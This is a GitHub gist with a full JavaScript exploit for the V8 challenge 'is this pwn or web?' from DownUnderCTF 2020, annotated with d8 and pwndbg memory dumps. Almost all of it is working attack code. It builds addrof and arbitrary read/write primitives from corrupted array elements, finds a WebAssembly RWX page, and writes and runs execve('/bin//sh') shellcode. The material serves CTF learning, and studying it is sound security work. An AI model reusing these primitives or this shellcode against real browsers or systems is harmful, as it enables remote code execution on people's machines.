Created
January 15, 2024 11:49
-
-
Save Xornet-Euphoria/64285c7b98bf09638145534ba8418fe3 to your computer and use it in GitHub Desktop.
DownUnserCTF 2020 - is this pwn or web?
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// only tested by `./d8 exploit.js` | |
// utility functions | |
// convert float64 <-> uint64 | |
let buf = new ArrayBuffer(8); | |
let float_buf = new Float64Array(buf); | |
let uint_buf = new BigUint64Array(buf); | |
function f2i(v) { | |
float_buf[0] = v; | |
return uint_buf[0]; | |
} | |
function i2f(v) { | |
uint_buf[0] = v; | |
return float_buf[0]; | |
} | |
// print utils | |
function hexPrint(v) { | |
console.log("0x" + v.toString(16)); | |
} | |
// -------------------------------------------------- | |
// addrof | |
// using sharing elements between float_arr and obj_arr | |
// ref: https://seb-sec.github.io/2020/09/28/ductf2020-pwn-or-web.html | |
let float_arr = [1.1]; | |
let obj_arr = [{A:1}]; | |
float_arr = float_arr.slice(0); | |
obj_arr = obj_arr.slice(0); | |
/* | |
d8> %DebugPrint(obj_arr) | |
DebugPrint: 0x32e808084d2d: [JSArray] | |
- map: 0x32e80824394d <Map(PACKED_ELEMENTS)> [FastProperties] | |
- prototype: 0x32e80820a555 <JSArray[0]> | |
- elements: 0x32e808084d21 <FixedArray[1]> [PACKED_ELEMENTS] | |
... | |
d8> %DebugPrint(float_arr) | |
DebugPrint: 0x32e808084d11: [JSArray] | |
- map: 0x32e8082438fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] | |
- prototype: 0x32e80820a555 <JSArray[0]> | |
- elements: 0x32e808084d01 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] | |
... | |
*/ | |
// diff: 0x20 | |
// pElements of float_arr = pElements of obj_arr | |
let obj_elm = f2i(float_arr[2]) + 0x20n; // from DebugPrint and gdb | |
float_arr[2] = i2f(obj_elm); | |
function addrof(o) { | |
obj_arr[0] = o; | |
return f2i(float_arr[0]) & 0xffffffffn; // note: ptr is compressed in v8 heap | |
} | |
// AAR | |
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8) | |
function aar(addr) { | |
addr -= 8n; | |
// compress ptr | |
if (addr % 2n == 0) { | |
addr += 1n | |
} | |
// write elements of tmp_float_arr | |
let tmp_float_arr = [1.1]; | |
tmp_float_arr = tmp_float_arr.slice(0); | |
// save length of tmp_float_arr | |
let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n; | |
tmp_float_arr[2] = i2f(addr + l); | |
return f2i(tmp_float_arr[0]); | |
} | |
// AAW | |
// tmp_float_arr[0] <=> *(tmp_float_arr->pElements + 0x8) | |
function aaw(addr, v) { | |
addr -= 8n; | |
// compress ptr | |
if (addr % 2n == 0) { | |
addr += 1n | |
} | |
// write elements of tmp_float_arr | |
let tmp_float_arr = [1.1]; | |
tmp_float_arr = tmp_float_arr.slice(0); | |
// save length of tmp_float_arr | |
let l = f2i(tmp_float_arr[2]) & 0xffffffff00000000n; | |
tmp_float_arr[2] = i2f(addr + l); | |
tmp_float_arr[0] = i2f(v); | |
} | |
// AAW to outside of v8 heap | |
/* | |
d8> %DebugPrint(aaw_buf) | |
DebugPrint: 0x319708085e35: [JSArrayBuffer] | |
- map: 0x31970824317d <Map(HOLEY_ELEMENTS)> [FastProperties] | |
- prototype: 0x319708208ba9 <Object map = 0x3197082431a5> | |
- elements: 0x3197080426dd <FixedArray[0]> [HOLEY_ELEMENTS] | |
- embedder fields: 2 | |
- backing_store: 0x55752b6c7440 | |
... | |
pwndbg> x/32gx 0x319708085e35-1 | |
0x319708085e34: 0x080426dd0824317d 0x00000400080426dd | |
0x319708085e44: 0x2b6c744000000000 0x2b6c78d000005575 <- backing_store (+0x14) | |
0x319708085e54: 0x0000000200005575 0x0000000000000000 | |
0x319708085e64: 0x0000000000000000 0x080426dd08242c2d | |
0x319708085e74: 0x08085e35080426dd 0x0000000000000000 | |
0x319708085e84: 0x0000000000000400 0x00000af15fae7000 <- at first, i overwrite here but it's false positive | |
0x319708085e94: 0x0000000000000000 0x0000000000000000 | |
0x319708085ea4: 0x08085e3508042351 0x080429690824394d | |
0x319708085eb4: 0x08085e3500000002 0x080429690824394d | |
0x319708085ec4: 0x08085e3500000002 0x0804296900000000 | |
0x319708085ed4: 0x08085e9500000002 0x0804223900000000 | |
0x319708085ee4: 0x0824385d00000000 0x08210cc9080426dd | |
0x319708085ef4: 0x0824385d000000b8 0x08210cc9080426dd | |
0x319708085f04: 0x0824317d000000b8 0x080426dd080426dd | |
0x319708085f14: 0x000000000000005c 0x000055752b7532a0 | |
0x319708085f24: 0x000055752b6c7970 0x0000000000000002 | |
pwndbg> search -8 0x55752b6c7440 | |
Searching for value: b'@tl+uU\x00\x00' | |
[anon_319708080] 0x319708085e48 0x55752b6c7440 /* '@tl+uU' <- ??? | |
[heap] 0x55752b6c7850 0x55752b6c7440 /* '@tl+uU' | |
*/ | |
// diff: 0x14 | |
let aaw_buf = new ArrayBuffer(0x400); | |
let dv = new DataView(aaw_buf); | |
let backing_store_addr = addrof(aaw_buf) + 0x14n; | |
function set_address_aaw_outside(addr) { | |
aaw(backing_store_addr, addr); | |
} | |
// prepare rwx page for shellcode | |
// stolen from pwners' scripts | |
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); | |
let wasm_mod = new WebAssembly.Module(wasm_code); | |
let wasm_instance = new WebAssembly.Instance(wasm_mod); | |
let f = wasm_instance.exports.main; | |
/* | |
pwndbg> x/16gx 0x3f8108212ba5-1 | |
0x3f8108212ba4: 0x080426dd08245275 0x84000000080426dd | |
0x3f8108212bb4: 0x0001000000007f37 0x0000ffff00000000 | |
0x3f8108212bc4: 0x0000004800000000 0x080426dd00003f81 | |
0x3f8108212bd4: 0x0000560d463561c0 0x00000000080426dd | |
0x3f8108212be4: 0x0000000000000000 0x0000000000000000 | |
0x3f8108212bf4: 0x0000000000000000 0x0000560d46356a90 | |
0x3f8108212c04: 0x00003f8100000000 0x0000024928a0f000 <- start of RWX page | |
0x3f8108212c14: 0x080877e108087629 0x08212b8d0820221d | |
*/ | |
// diff: 0x68 | |
// get rwx addr | |
let wasm_addr = addrof(wasm_instance); | |
let rwx_addr = aar(wasm_addr + 0x68n) | |
set_address_aaw_outside(rwx_addr) | |
// write shellcode | |
let shellcode = [72, 49, 210, 82, 72, 184, 47, 98, 105, 110, 47, 47, 115, 104, 80, 72, 137, 231, 82, 87, 72, 137, 230, 72, 141, 66, 59, 15, 5] | |
for (let i = 0; i < shellcode.length; i++) { | |
dv.setUint8(i, shellcode[i]); | |
} | |
// Win!! | |
f(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment